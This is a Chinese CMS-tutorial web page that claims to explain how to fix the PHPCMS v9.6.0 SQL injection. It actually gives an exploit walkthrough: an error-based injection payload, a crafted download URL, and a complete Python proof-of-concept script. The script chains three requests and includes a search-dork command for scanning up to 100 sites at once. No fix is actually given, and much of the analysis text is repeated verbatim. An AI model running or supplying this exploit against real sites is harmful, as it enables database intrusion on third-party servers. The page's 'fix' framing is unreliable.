您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMSv9.6.0wap模块SQL注入漏洞修复方法
易烟2025-05-21phpcms教程已有人查阅
导读调试这个漏洞的时候踩了个坑,影响的版本是php5.4以后。由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\' 。
调试这个漏洞的时候踩了个坑,影响的版本是php5.4以后。
由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\' 。
分析:这个漏洞要三步的过程,直接进入第三步。
根据给的poc:
parse_str($a_k); 以&为分隔符,解析变量并且注册变量,并且对url进行解码 (参考:http://php.net/manual/zh/function.parse-str.php)
我们的poc是{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}会对id,m,f,modelid,catid 进行注册。 这里也要注册后面的参数,不然走不到get_one的流程。(有次没注册$f,调试的时候直接跳出)进入get_one函数就开始对sql语句进行查询了。所以就是个注入了,是由parse_str()函数引起。
接着看怎么解码的,继续下断点。
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) 函数位于 phpcms/libs/functions/global.func.php 第384-430行好难,还是看大牛解析(http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0131548.html)看第二个请求。
代码如下:
存在注入语句的参数是 src,进入了safe_replace()函数,把常见的危险字符串过滤成空,又只进行了一次过滤,简直就是绕waf的好帮手。
设置了json_str,所以在回显中cookie有这么一段。
poc:
由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\' 。
分析:这个漏洞要三步的过程,直接进入第三步。
根据给的poc:
/phpv9.6.0/index.php?m=content&c=down&a_k=98f1bLd4Xl93HOb6nCHAem4rZNirba2Plthb5VFosbY8sc5Ge5RUOcXNmToG7KqSO4bFECOrCZKwNhkiCWbpToHPxCMsDVNT50f9b77GSaWC2sX-cwwyfhrIApZgubCyapauw4S9NTkNggs1YgGdCrk3cFXANkAC6v6UMN-be3zwZqfVLeOYdiw
可以看到应该是a_k参数出现问题,位于content目录下, down.php页面,parse_str($a_k); 以&为分隔符,解析变量并且注册变量,并且对url进行解码 (参考:http://php.net/manual/zh/function.parse-str.php)
我们的poc是{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}会对id,m,f,modelid,catid 进行注册。 这里也要注册后面的参数,不然走不到get_one的流程。(有次没注册$f,调试的时候直接跳出)进入get_one函数就开始对sql语句进行查询了。所以就是个注入了,是由parse_str()函数引起。
接着看怎么解码的,继续下断点。
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) 函数位于 phpcms/libs/functions/global.func.php 第384-430行好难,还是看大牛解析(http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0131548.html)看第二个请求。
代码如下:
存在注入语句的参数是 src,进入了safe_replace()函数,把常见的危险字符串过滤成空,又只进行了一次过滤,简直就是绕waf的好帮手。
设置了json_str,所以在回显中cookie有这么一段。
Set-Cookie: gggCB_att_json=4999e2GcIhZF8XVhycAj9oLE33PZMVtPv1gABnD5mdm5sI-0u9Yb4R6K5ISkWAvm8Eq2DiGdvWz4R4mSKDiKeZm-VeYkob8tukEmYPbZud6yb9cCRp9FR7tUIP92zHdUoynZYdTct2LQDeADrKgcbc1VNwUsVhPEwV8_Ngr7CegmdMsMx5mGiOI
这个post请求中有个post的参数,userid_flash ,搜索一下他干嘛的,要存在userid,不然就不能往下执行,所以才有了第一步。poc:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me
"""
PHPCMS content/down.php SQL Injection
version
<= 9.6.0
Type
error-based
Usage
python POC-T.py -s phpcms9.6.0-sqli -aG "Powered by PHPCMS v9" --limit 100
"""
import requests
import re
from urllib import quote
TIMEOUT = 3
def poc(url):
payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f="
cookies = {}
step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
for c in requests.get(step1, timeout=TIMEOUT).cookies:
if c.name[-7:] == '_siteid':
cookie_head = c.name[:6]
cookies[cookie_head + '_userid'] = c.value
cookies[c.name] = c.value
break
else:
return False
step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
if c.name[-9:] == '_att_json':
enc_payload = c.value
print '111'
break
else:
return False
setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
print '222'
r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
print r.content
print poc('http://phpstudy.com/phpv9.6.0/')
本文标签:
很赞哦! ()
下一篇:phpcms首页模板替换的方法
相关教程
图文教程
phpcms备份数据库的方法
注册多备份官网账号,登录到多备份的控制面板,点击“go”由于备份的是数据库,在弹出框里果断选择右边你的数据库是否可以远程授权?我们选择“可以”
phpcms源代码分析
第一次分支时其实就是整个base.php文件的执行base.php这个文件了,它是PHPCMS框架入口文件,他引入了很多的函数库,如:
phpcms站点部署教程
1、wamp部署使用wamp2.4以下版本。2.4版本自带的php5.4以上底层变化,phpcms运行不了。2.2版自带的php5.3.10可以兼容。
Phpcms所有系统变量列表PhpcmsV9文件目录结构分析
Phpcms所有系统变量列表有关模型信息变量: view plaincopy to clipboardprint?如: view plaincopy to clipboardprint?栏目信息变量:view plaincopy to clipboardprint?
相关源码
-
(PC+WAP)智能机器人人工智能物联网自动化设备源码下载本模板基于PbootCMS内核开发,为智能机器人及传感器科技企业精心设计。采用现代化设计风格,突出科技感与专业性,多方位展示企业技术实力与产品优势。查看源码 -
(PC+WAP)五金机械设备营销型模板下载带在线留言为机械设备制造商设计的营销型模板,集成产品参数对比系统、产品展示模块和询价管理功能。采用PbootCMS开发内核,PHP7+运行环境。手工编写语义化HTML5结构,CSS3动画优化交互体验。查看源码 -
(自适应)英文外贸电子设备网站模板三级子目录基于PbootCMS内核开发的响应式英文网站模板,为外贸企业打造,支持多行业快速适配。通过简洁高效的代码架构,帮助企业低成本构建专业海外形象,实现更好客户触达与订单转化。查看源码 -
(自适应)黑色摄影作品工作室pbootcms模板网站源码下载为风景摄影、个人工作室打造的高端网站模板,基于PbootCMS开源内核开发,采用HTML5自适应架构,PC与移动端实时数据同步,适配各类拍摄作品展示需求。查看源码 -
pbootcms(自适应)SEO优化排名服务公司网站模板核心定位为SEO排名服务商打造的营销型网站框架,集成PbootCMS开源系统的高效管理能力与SEO最佳实践方案,助力企业快速建立专业的技术服务形象。查看源码 -
(自适应)中英文双语外贸扬声器音响喇叭话筒网站模板免费下载为音响设备外贸企业设计的中英文双语网站模板,基于PbootCMS内核开发。适配扬声器系统、音频设备等产品的国际化展示需求查看源码
| 分享笔记 (共有 篇笔记) |
